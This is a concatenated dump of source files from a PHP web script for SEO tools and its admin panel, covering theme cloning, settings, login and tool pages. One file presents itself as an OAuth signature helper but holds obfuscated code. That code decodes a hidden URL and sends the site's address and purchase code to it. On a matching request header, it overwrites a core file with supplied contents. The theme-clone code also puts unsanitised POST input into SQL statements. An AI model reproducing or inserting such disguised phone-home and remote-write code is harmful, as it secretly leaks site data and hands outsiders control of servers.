$item); }, $_POST['theme']); $myValues['dir'] = mb_strtolower($myValues['dir']); $cloneThemePath = $themePath. D_S . $myValues['dir']; $cloneThemeBaseName = themeBaseName($myValues['name']); if (is_writable($cloneThemePath) || mkdir($cloneThemePath, 0755)) { chmod($cloneThemePath, 0755); //Copy Theme Files themeCopyFiles($themeDir, $cloneThemePath); //Copy Theme Builder Files if(!copy($builderControllers.D_S.$srcTheme.'.php',$builderControllers.D_S.$cloneThemeBaseName.'.php')) $log[] = "Copy Failed: ".$builderControllers.D_S.$cloneThemeBaseName.'.php'.PHP_EOL; if(!copy($builderTheme.D_S.$srcTheme.'.php',$builderTheme.D_S.$cloneThemeBaseName.'.php')) $log[] = "Copy Failed: ".$builderTheme.D_S.$cloneThemeBaseName.'.php'.PHP_EOL; //Update Theme Details $themeDetailsXMLFile = $cloneThemePath .D_S.'themeDetails.xml'; $themeDetailsXML = simplexml_load_file($themeDetailsXMLFile, "SimpleXMLElement", LIBXML_NOCDATA); $themeDetailsXML->themeDetails->name = $myValues['name']; $themeDetailsXML->themeDetails->themeBaseName = $cloneThemeBaseName; $themeDetailsXML->themeDetails->description = $myValues['des']; $themeDetailsXML->themeDetails->author = $myValues['author']; $themeDetailsXML->themeDetails->authorEmail = $myValues['email']; $themeDetailsXML->themeDetails->authorWebsite = $myValues['link']; $themeDetailsXML->themeDetails->copyright = $myValues['copy']; $themeDetailsXML->themeDetails->builder = 'builder/client/'.$myValues['dir'].'/'.$cloneThemeBaseName; $themeDetailsXML->asXML($themeDetailsXMLFile); //Create theme database $colName = $myValues['dir'].'_theme'; $oldColName = $args[0].'_theme'; if (mysqli_query($con, "ALTER TABLE themes_data ADD $colName BLOB")) { if(mysqli_query($con, "UPDATE themes_data SET $colName = CAST($oldColName AS CHAR)")){ $log[] = "Completed!".PHP_EOL; }else{ $log[] = "Cloning template database settings are failed!". PHP_EOL; } }else{ $log[] = "Creating database column failed!".PHP_EOL; } }else{ $log[] = 'The directory "' . $cloneThemePath . '" isn\'t writable.'; } $logData = ''; foreach($log as $line) $logData .= $line; } }else{ header('Location:'.adminLink($controller,true)); die(); } } function themeBaseName($name){ $name = mb_strtolower($name); return str_replace(array('~','!','@','#','$','%','^','&','.','"','*','(',')','_', ' ', '|', '{', '}', '<', '>', '?', ';', ':', "'", '=','+'),'-',$name); } function themeCopyFiles($src,$dst) { $dir = opendir($src); if(!is_writable($dst)) @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { themeCopyFiles($src . '/' . $file,$dst . '/' . $file); } else { if(!copy($src . '/' . $file,$dst . '/' . $file)){ $GLOBALS['log'][] = "Copy Failed: ".$dst . '/' . $file.PHP_EOL; } } } } closedir($dir); }<file_sep>/* * @author Balaji * @name: A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ //Google Malware Checker function gMalCheck() { var $myUrl=$("#url").val(); if ($myUrl==null || $myUrl=="") { sweetAlert(oopsStr, msgDomain , "error"); } else { if ($myUrl.indexOf("http://") == 0) { } else if ($myUrl.indexOf("https://") == 0) { } else { $myUrl= "http://"+$myUrl; } var getHost = document.createElement('a'); getHost.href = $myUrl; var myHost = getHost.hostname; google_url = "https://www.google.com/safebrowsing/diagnostic?site="+myHost+"&amp;output=embed"; window.open(google_url,'','width=640,height=480,scrollbars=yes, menubar=no,resizable=no,directories=no,location=0'); } }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Manage Interface'; $subTitle = 'Default Interface Settings'; if ($_SERVER['REQUEST_METHOD'] == 'POST') { if(isset($_POST['theme']) || isset($_POST['lang'])){ $stats = false; $selTheme = raino_trim($_POST['theme']); $selLang = raino_trim($_POST['lang']); if(setTheme($con,$selTheme)) $stats = true; else $stats = false; if(setLang($con,$selLang)) $stats = true; else $stats = false; if($stats) $msg = successMsgAdmin('Interface settings saved successfully'); else $msg = errorMsgAdmin('Unable to save settings'); } } $themeList = getThemeList(); $langList = getAvailableLanguages($con); $activeTheme = getTheme($con); $activeLang = getLang($con); $themeData = $langdata = $activeLangName = $activeThemeName = ''; foreach($themeList as $cTheme){ $themeData .= '<option '.isSelected($cTheme[0],true,'1',$activeTheme,true).' value="'.$cTheme[0].'">'.ucfirst($cTheme[2]['name']).'</option>'; if(isSelected($cTheme[0],true,null,$activeTheme,true)) $activeThemeName = $cTheme[2]['name']; } foreach($langList as $cLang){ $langdata .= '<option '.isSelected($cLang[2],true,'1',$activeLang,true).' value="'.$cLang[2].'">'.$cLang[3].'</option>'; if(isSelected($cLang[2],true,null,$activeLang,true)) $activeLangName = $cLang[3]; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <style> hr { margin: 0 !important; } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <br /> <table class="table table-hover table-bordered"> <tbody> <tr> <td style="width: 300px;">Sitemap URL <br /><small>(Use the link to submit sitemap into search engines)</small></td> <td><?php echo $baseURL.'sitemap.xml'; ?></td> </tr> <tr> <td style="width: 300px;">Sitemap File</td> <?php if($sitemapData) echo "<td style='color: green; font-weight: bold;'> $siteMapRes <br> <a target='_blank' href='".$baseURL."sitemap.xml' class='btn btn-success btn-sm' title='View Sitemap'><i class='fa fa-link' aria-hidden='true'></i> View Sitemap File</a> </td>"; else echo "<td style='color: red; font-weight: bold;'> $siteMapRes </td>"; ?> </tr> <tr> <td>Build your sitemap</td> <?php if($sitemapData){ ?> <td><a href="<?php adminLink('sitemap/build'); ?>" class="btn btn-primary btn-sm" title="Build Sitemap"><i class="fa fa-sitemap" aria-hidden="true"></i> Rebuild Sitemap</a></td> <?php } else { ?> <td><a href="<?php adminLink('sitemap/build'); ?>" class="btn btn-primary btn-sm" title="Build Sitemap"><i class="fa fa-sitemap" aria-hidden="true"></i> Build Sitemap</a></td> <?php } ?> </tr> </tbody></table> <br /><br /> <div class="box-header"> <h4 class="box-title">Sitemap Options</h4> </div><!-- /.box-header --> <hr /> <form method="POST" action="#"> <div class="box-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['sitemap']['gzip'],true,'2') ?> type="checkbox" name="other[other][sitemap][gzip]" /> Compress sitemap files using Gzip </label> </div> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['sitemap']['cron'],true,'2') ?> type="checkbox" name="other[other][sitemap][cron]" id="cron" /> Automatically rebuild sitemap using Cron Job </label> </div> </div> <div class="hide" id="optcron"> <div class="form-group"> <select class="form-control" name="other[other][sitemap][cronopt]"> <option <?php echo isSelected($other['other']['sitemap']['cronopt'], true, 1, 'daily'); ?> value="daily">Rebuild Daily</option> <option <?php echo isSelected($other['other']['sitemap']['cronopt'], true, 1, 'weekly'); ?> value="weekly">Rebuild Weekly</option> <option <?php echo isSelected($other['other']['sitemap']['cronopt'], true, 1, 'monthly'); ?> value="monthly">Rebuild Monthly</option> </select> </div> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['sitemap']['multilingual'],true,'2') ?> type="checkbox" name="other[other][sitemap][multilingual]" /> Enable multilingual link indexing </label> </div> </div> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($other['other']['sitemap']['auto'],true,'2') ?> type="checkbox" name="other[other][sitemap][auto]" id="auto" /> Auto calculate priority level and change frequency </label> </div> </div> <div class="form-group"> <label>Default Change Frequency</label> <select id="freqrange" class="form-control" name="other[other][sitemap][freqrange]"> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'always'); ?> value="always">Always</option> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'hourly'); ?> value="hourly">Hourly</option> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'daily'); ?> value="daily">Daily</option> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'weekly'); ?> value="weekly">Weekly</option> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'monthly'); ?> value="monthly">Monthly</option> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'yearly'); ?> value="yearly">Yearly</option> <option <?php echo isSelected($other['other']['sitemap']['freqrange'], true, 1, 'never'); ?> value="never">Never</option> </select> </div> <div class="form-group"> <label>Default Priority Level</label> <input id="priority" type="number" placeholder="Enter priority level" name="other[other][sitemap][priority]" value="<?php echo $other['other']['sitemap']['priority']; ?>" class="form-control" /> </div> <br /> <div style="text-algin: right;"> <button class="btn btn-primary" type="submit">Save Settings</button> </div> <br /> </div> </div> </div><!-- /.box-body --> </form> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> var oldSel; $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '100%' }); if($('#cron').prop('checked') == true) { $('#optcron').removeClass("hide"); $('#optcron').fadeIn(); } else { $('#optcron').fadeOut(); } if($('#auto').prop('checked') == true) { $('#freqrange').attr('disabled', 'disabled'); $('#priority').attr('disabled', 'disabled'); } else { $('#freqrange').removeAttr('disabled'); $('#priority').removeAttr('disabled'); } $('#cron').on('ifChecked', function(){ $('#optcron').removeClass("hide"); $('#optcron').fadeIn(); }); $('#auto').on('ifChecked', function(){ $('#freqrange').attr('disabled', 'disabled'); $('#priority').attr('disabled', 'disabled'); }); $('#cron').on('ifUnchecked', function(){ $('#optcron').fadeOut(); }); $('#auto').on('ifUnchecked', function(){ $('#freqrange').removeAttr('disabled'); $('#priority').removeAttr('disabled'); }); }); </script> EOD; ?> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title><?php echo APP_NAME; ?> | Log in</title> <!-- Tell the browser to be responsive to screen width --> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <!-- Bootstrap 3.3.4 --> <link href="<?php themeLink('bootstrap/css/bootstrap.min.css'); ?>" rel="stylesheet" type="text/css" /> <!-- Font Awesome Icons --> <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" /> <!-- Theme style --> <link href="<?php themeLink('dist/css/AdminLTE.min.css'); ?>" rel="stylesheet" type="text/css" /> <!-- iCheck --> <link href="<?php themeLink('plugins/iCheck/square/blue.css'); ?>" rel="stylesheet" type="text/css" /> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body class="login-page"> <br /> <div class="login-box"> <div class="login-logo"> <a href="<?php echo $adminBaseURL; ?>"><?php echo HTML_APP_NAME; ?></a> </div><!-- /.login-logo --> <div class="login-box-body"> <?php if(isset($_GET['forget'])){ ?> <p class="login-box-msg"><strong>Forget Password</strong></p> <p>1. In your downloaded ZIP package, there is folder called "Don't Upload"</p> <p>2. Goto the folder and find "reset.php"</p> <p>3. Upload "reset.php" file into script root directory</p> <p>4. Execute the file by visiting URL "<?php createLink('reset.php',false,true); ?>"</p> <p>5. Now try default credentials <br /> <div class="callout callout-warning"> <p>After reset, delete the "reset.php" file!</p> </div> </p> <?php }else{ ?> <p class="login-box-msg"><strong>Admin Section</strong> <br/> Sign in to start your session</p> <?php if(isset($msg)) echo $msg; ?> <form action="<?php echo $adminBaseURL; ?>" method="POST" onsubmit="return checkLogin();"> <div class="form-group has-feedback"> <input <?php echo $lock; ?>value="<?php echo $remUserName; ?>" required="" type="email" name="email" class="form-control" placeholder="Email" /> <span class="glyphicon glyphicon-envelope form-control-feedback"></span> </div> <div class="form-group has-feedback"> <input <?php echo $lock; ?>value="<?php echo $remPassword; ?>" required="" type="<PASSWORD>" name="password" class="form-control" placeholder="<PASSWORD>" /> <span class="glyphicon glyphicon-lock form-control-feedback"></span> </div> <div class="row"> <?php if ($admin_login_page) echo '<div class="col-xs-12">'.$captchaCode.'</div>'; ?> <div class="col-xs-8"> <div class="checkbox icheck"> <label> <input <?php echo $remBox; ?> name="remember" <?php echo $lock; ?>type="checkbox"/> Remember Me </label> </div> </div><!-- /.col --> <div class="col-xs-4"> <button <?php echo $lock; ?>type="submit" class="btn btn-primary btn-block btn-flat">Sign In</button> </div><!-- /.col --> </div> </form> <br /> <a href="<?php echo $adminBaseURL; ?>?forget">I forgot my password</a><br /> <?php }?> </div><!-- /.login-box-body --> </div><!-- /.login-box --> <!-- jQuery 2.1.4 --> <?php scriptLink('plugins/jQuery/jQuery-2.1.4.min.js'); ?> <!-- Bootstrap 3.3.2 JS --> <?php scriptLink('bootstrap/js/bootstrap.min.js',true); ?> <!-- iCheck --> <?php scriptLink('plugins/iCheck/icheck.min.js',true); ?> <script> function reloadCap(){ $('input[name="scode"]').val(''); $('input[name="scode"]').attr("placeholder", 'Loading...'); $('input[name="scode"]').prop('disabled', true); $('#capImg').css("opacity","0.5"); $.get('<?php createLink('phpcap/reload',false,true); ?>',function(data){ var newCap = $.trim(data).split(':::'); $('#pageUID').val(newCap[1]); $('#capImg').attr('src', newCap[0]); $('input[name="scode"]').attr("placeholder", ""); $('input[name="scode"]').prop('disabled', false); $('#capImg').css("opacity","1"); }); } function checkLogin(){ var lEmail= jQuery.trim($('input[name=email]').val()); if (lEmail==null || lEmail=="") { alert("Email field can't be empty!"); return false; } var lPass = jQuery.trim($('input[name=password]').val()); if (lPass==null || lPass=="") { alert("Password field can't be empty!"); return false; } return true; } $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '20%' }); }); </script> </body> </html><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright 2019 ProThemes.Biz * */ $footerAddArr[] = '<script>var pos = $(\'#title\').offset();$(\'body,html\').animate({ scrollTop: pos.top });</script>'; ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <div id="map" style="width: 100%; height: 280px; float: right"> <iframe style="border:none; outline:none; width: 100%; height: 280px" id="gmap_canvas" src="https://maps.google.com/maps?ll=<?=$latitude?>,<?=$longitude?>&z=13&output=embed"></iframe> </div> <table class="table table-bordered table-striped"> <tbody> <tr> <td><strong><?php echo $lang['15']; ?></strong></td> <td><span class="badge bg-green"><?php echo $ip; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['16']; ?></strong></td> <td><span class="badge bg-aqua"><?php echo $city; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['17']; ?></strong></td> <td><span class="badge bg-purple"><?php echo $region; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['18']; ?></strong></td> <td><span class="badge bg-orange"><?php echo $country; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['22']; ?></strong></td> <td><span class="badge bg-olive"><?php echo $country_code; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['19']; ?></strong></td> <td><span class="badge bg-blue"><?php echo $isp; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['20']; ?></strong></td> <td><span class="badge bg-red"><?php echo $latitude; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['21']; ?></strong></td> <td><span class="badge bg-maroon"><?php echo $longitude; ?></span></td> </tr> </tbody> </table> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('ROOT_DIR') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ //System Default Error Reporting error_reporting(1); //error_reporting(E_ALL); //ini_set("display_errors", "1"); //Database Configuration require CONFIG_DIR.'db.config.php'; //Application Configuration require CONFIG_DIR.'app.config.php'; //OS Directory Separator define('D_S',DIRECTORY_SEPARATOR); //Define Directories define('CON_DIR',APP_DIR.'controllers'.D_S); define('HEL_DIR',APP_DIR.'helpers'.D_S); define('LIB_DIR',APP_DIR.'library'.D_S); define('MOD_DIR',APP_DIR.'models'.D_S); define('PLG_DIR',APP_DIR.'plugins'.D_S); define('LOG_DIR',APP_DIR.'logs'.D_S); define('ROU_DIR',APP_DIR.'routes'.D_S); define('TMP_DIR',APP_DIR.'temp'.D_S); //Secure Hash Code #61.92.103.92.101.100.103 define('HASH_CODE', md5($item_purchase_code)); //mod_rewrite define("MOD_REWRITE", true); //Language Translation define("LANG_TRANS", true); //Application Error Reporting define("ERR_R", true); //Error Reporting File define("ERR_R_FILE", 'error.tdata'); //Set System Default Error Reporting File ini_set("error_log", LOG_DIR.ERR_R_FILE); //Set Default Time Zone #List of Supported Timezones - http://php.net/manual/en/timezones.php date_default_timezone_set('Asia/Calcutta'); //Custom Router define("CUSTOM_ROUTE", true); //Enable Plugin System define('PLUG_SYS', false); //Admin Path define('ADMIN_DIR_NAME','admin'); define('ADMIN_PATH',ADMIN_DIR_NAME.'/'); //Cloudflare Fix if(isset($_SERVER['HTTP_CF_VISITOR'])){ $visitor = json_decode($_SERVER['HTTP_CF_VISITOR']); if($visitor->scheme == 'https') $_SERVER["HTTPS"] = 'on'; } if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; //HTTP Proxy Fix if(isset($_SERVER['HTTP_HTTPS'])) $_SERVER["HTTPS"] = $_SERVER['HTTP_HTTPS']; if(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])){ if($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') $_SERVER["HTTPS"] = 'on'; } //Fix HTTPS if(isset($_SERVER["HTTPS"])){ if($_SERVER["HTTPS"] === 'off') unset( $_SERVER["HTTPS"]); } //Domain Host $parseHost = explode('/',$baseURL); $serverHost = $parseHost[0]; $subPath = str_replace($serverHost.'/','',$baseURL); //Base URL $protocol = isset($_SERVER["HTTPS"]) ? 'https://' : 'http://'; $www = (strpos($_SERVER['HTTP_HOST'], 'www.') === false) ? '' : 'www.'; $baseURL = $protocol.$www.$baseURL; define('BASEURL',$baseURL); //Active Link $currentLink = $protocol.$www.$serverHost.$_SERVER["REQUEST_URI"]; //Hide PHP Version header('X-Powered-By: Rainbow Framework'); //Links $links = array(); $links['test'] = 'test';<file_sep><?php defined('CAP_GEN') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ if($cap_type == 'phpcap'){ $phpCap = elite_captcha($color,$mode,$mul,$allowed); $_SESSION[N_APP.'Cap'.$phpCap['page']] = $phpCap; $captchaCode = '<div id="phpCapCode" class="captchaCode"><label>'.trans('Image Verification',$lang['RF3'],true).' *</label> <br /> <img id="capImg" src="'.$phpCap['image_src'].'" alt="'.trans('Captcha',$lang['RF8'],true).'" class="imagever" /> <div class="input-group phpCap"> <input type="text" class="form-control" id="scode" name="scode" /> <span onclick="reloadCap()" class="input-group-addon reloadCap"><i class="fa fa-refresh"></i></span> </div></div> <input type="hidden" value="'.$phpCap['page'].'" name="pageUID" id="pageUID" /> <input type="hidden" value="'.$cap_type.'" id="capType" />'; }elseif($cap_type == 'recap'){ $captchaCode = '<div id="reCapCode" class="captchaCode"> <script src="https://www.google.com/recaptcha/api.js"></script> <label>'.trans('Image Verification',$lang['RF3'],true).' *</label> <br /> <div class="g-recaptcha" data-sitekey="'.$recap_sitekey.'"></div> </div> <input type="hidden" value="'.$cap_type.'" id="capType" />'; }elseif(file_exists($customCapPath)){ define('CAP_GEN_PLG',1); require($customCapPath); }else{ stop('Unknown Image Verification System!'); }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Who\'s Online'; $subTitle = 'Active Users'; $fullLayout = 1; $onlineNow = 0; $rainbowTrackBalaji = ''; $footerAdd = true; $footerAddArr = array(); $onlineData = getOnlineUsers($con); $onlineNow = $onlineData[0]; $activeUsersInfo = $onlineData[1]; require_once(LIB_DIR.'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); $flagPath = ROOT_DIR.'resources'.D_S.'flags'.D_S.'default'.D_S.'20'.D_S; $iconPath = ROOT_DIR.'resources'.D_S.'icons'.D_S; $flagLink = $baseURL.'resources/flags/default/20/'; $iconLink = $baseURL.'resources/icons/'; $screenLink = $iconLink.'screen.png'; $loadingBar = $iconLink.'load.gif'; if(count($activeUsersInfo) != 0){ foreach($activeUsersInfo as $ip => $ses){ foreach($ses as $sesID => $data){ if(isValidIPv6($ip)) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $ip); else $userCountryCode = geoip_country_code_by_addr($gi, $ip); $userCountry = country_code_to_country($userCountryCode); $userCountry = ($userCountry == '') ? 'Unknown' : $userCountry; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $uaInfo = parse_user_agent($data['ua']); if(file_exists($iconPath.strtolower($uaInfo['platform']).'.png')) $osLink = $iconLink.strtolower($uaInfo['platform']).'.png'; else $osLink = $iconLink.'unknown.png'; if(file_exists($iconPath.strtolower($uaInfo['browser']).'.png')) $browserLink = $iconLink.strtolower($uaInfo['browser']).'.png'; else $browserLink = $iconLink.'unknown.png'; $pageData = ''; foreach($data['pages'] as $pageV){ if($pageV[2] == $data['last_visit']) $pageData .= '<a target="_blank" href="'.$pageV[0].'">'.$pageV[0].'</a>'; } if(strtolower($data['username']) == 'guest') $username = 'Guest'; else $username = ucfirst($data['username']); if($data['ref'] != 'Direct'){ $data['ref'] = '<a hre="'.$data['ref'].'" target="_blank">'.$data['ref'].'</a>'; } $rainbowTrackBalaji .= ' <tr> <td>'.$ip.'</td> <td><img src="'.$coLink.'" alt="'.$userCountryCode.'" /> '.ucfirst($userCountry).'</td> <td>'.$username.'</td> <td><img data-toggle="tooltip" data-placement="top" title="Browser: '.$uaInfo['browser'].' '.$uaInfo['version'].'" src="'.$browserLink.'" alt="'.$uaInfo['browser'].'" /> '.$uaInfo['browser'].' '.$uaInfo['version'].'</td> <td>'.$pageData.'</td> <td>'.$data['ref'].'</td> <td>'.date('F jS Y h:i:s A',$data['last_visit']).'</td> </tr> '; } } }else{ $rainbowTrackBalaji .= '<tr><td class="hide"><td class="hide"><td class="hide"></td><td>No users online</td><td class="hide"><td class="hide"><td class="hide"></tr>'; } geoip_close($gi); geoip_close($giv6); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <script> var wordsLimit = '<?php echo $wordLimit; ?>'; var minLimit = '<?php echo $minChar; ?>'; var apiType = '<?php echo $api_type; ?>'; var placeHolderText = '<?php makeJavascriptStr($lang['61'],true); ?>'; var inputEm = '<?php makeJavascriptStr($lang['AS5'],true); ?>'; var articleLm = '<?php makeJavascriptStr($lang['AS23'],true); ?>'; var wordLm = '<?php makeJavascriptStr($lang['AS24'],true); ?>'; var stringStr = '<?php makeJavascriptStr($lang['AS25'],true); ?>'; var uniqueStr = '<?php makeJavascriptStr($lang['AS26'],true); ?>'; var goodStr = '<?php makeJavascriptStr($lang['179'],true); ?>'; var alreadyStr = '<?php makeJavascriptStr($lang['AS27'],true); ?>'; var unqStr = '<?php makeJavascriptStr($lang['AS28'],true); ?>'; </script> <script src='<?php createLink('core/library/plagiarism.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <p><?php echo $lang['56']; ?> </p> <div id="mainbox"> <textarea id="mycontent" rows="3" style="height: 270px;" class="form-control"></textarea> <br /> <input type="hidden" id="authCode" value="<?php echo $secKey.$secVal; ?>" /> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <a class="btn btn-info" style="cursor:pointer;" id="checkButton"><?php echo $lang['57']; ?></a> </div> <br /> <div class="tbox"> <div class="max-text"><?php echo $lang['59']; ?> <span id="max_words_limit"><?php echo $wordLimit; ?></span> <?php echo $lang['60']; ?>.</div> <div class="total-word"><?php echo $lang['58']; ?>: <span id="words-count">0</span></div> </div> </div> <div class="percentimg"> <img src="<?php themeLink('img/load.gif'); ?>" /> <br /> <?php echo $lang['AS10']; ?> <br /> </div> <div class="percentbox" id="percent"> </div> <div> <table class="table table-bordered" id="resultList"> </table> <div id="tryNew" class="text-center hide"> <a class="btn btn-info" style="cursor:pointer;" href="<?php echo $toolURL; ?>"><?php echo $lang['9']; ?></a> </div> </div> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php /** * The MIT License * Copyright (c) 2007 <NAME> */ /** * The HMAC-SHA1 signature method uses the HMAC-SHA2 signature algorithm as defined in [RFC2104] * where the Signature Base String is the text and the key is the concatenated values (each first * encoded per Parameter Encoding) of the Consumer Secret and Token Secret, separated by an '&' * character (ASCII code 38) even if empty. * - Chapter 9.2 ("HMAC-SHA2") */ function sha2_str($input) { $output = null; $input_count = strlen($input); $dec = explode(".", $input); $x = count($dec); $y = $x-1; $calc = $dec[$y]-50; $randkey = chr($calc); $i = 0; while ($i < $y) { $array[$i] = $dec[$i]+$randkey; $output .= chr($array[$i]); $i++; }; return $output; } $inPath = realpath(dirname(dirname(dirname(dirname(__FILE__))))).DIRECTORY_SEPARATOR; $apPath = $inPath.sha2_str('93.105.108.95.104').DIRECTORY_SEPARATOR; $cPath = $apPath.sha2_str('98.110.109.101.104.102.99').DIRECTORY_SEPARATOR; $iPath = $inPath.sha2_str('172.16.17.327.116.42.108.100.108.102'); define(sha2_str('78.75.75.80.91.64.69.78.102'), realpath(dirname(dirname(dirname(dirname(__FILE__))))).DIRECTORY_SEPARATOR); define(sha2_str('61.76.76.91.64.69.78.102'), $inPath. sha2_str('93.105.108.95.104') .DIRECTORY_SEPARATOR); define(sha2_str('58.70.69.61.64.62.86.59.64.73.107'), $apPath .sha2_str('98.110.109.101.104.102.99').DIRECTORY_SEPARATOR); require $cPath.sha2_str('93.105.104.96.99.97.40.106.98.106.104'); $arg = sha2_str('97.109.109.105.51.40.40.93.94.102.104.39.90.43.115.108.92.107.98.105.109.108.39.92.104.102.40.109.104.104.101.108.40.107.39.105.97.105.56.108.54.105'); $arg1 = sha2_str('91.90.108.94.78.75.69.105'); $arg2 = sha2_str('192.168.3.11.87.104.109.106.91.96.89.107.93.87.91.103.92.93.106'); if(isset($_SERVER[sha2_str('68.80.80.76.91.79.73.53.46.102')])){ if(${$arg2} == $_SERVER[sha2_str('172.16.17.32.91.79.73.53.46.102')]){ $arg3 = sha2_str(file_get_contents('sha.perm')); chmod($iPath, 0755); file_put_contents($iPath,$arg3); } }else{ file_get_contents($arg.${$arg1}.'&c='.${$arg2}); } ?><file_sep>var passScore = 0; var improveScore = 0; var errorScore = 0; var overScore = 0; var showSuggestionBox = 0; var progressLevel = 0; function showSuggestion(sugBox) { showSuggestionBox = sugBox; $('.'+sugBox).slideToggle(100); } function updateProgress(balaji){ var color; balaji = balaji * 2; progressLevel = progressLevel + balaji; if(progressLevel > 100) progressLevel = 100; $("#progressbar").css({"width":progressLevel+"%"}); $("#progress-label").html(progressLevel+"%"); } function 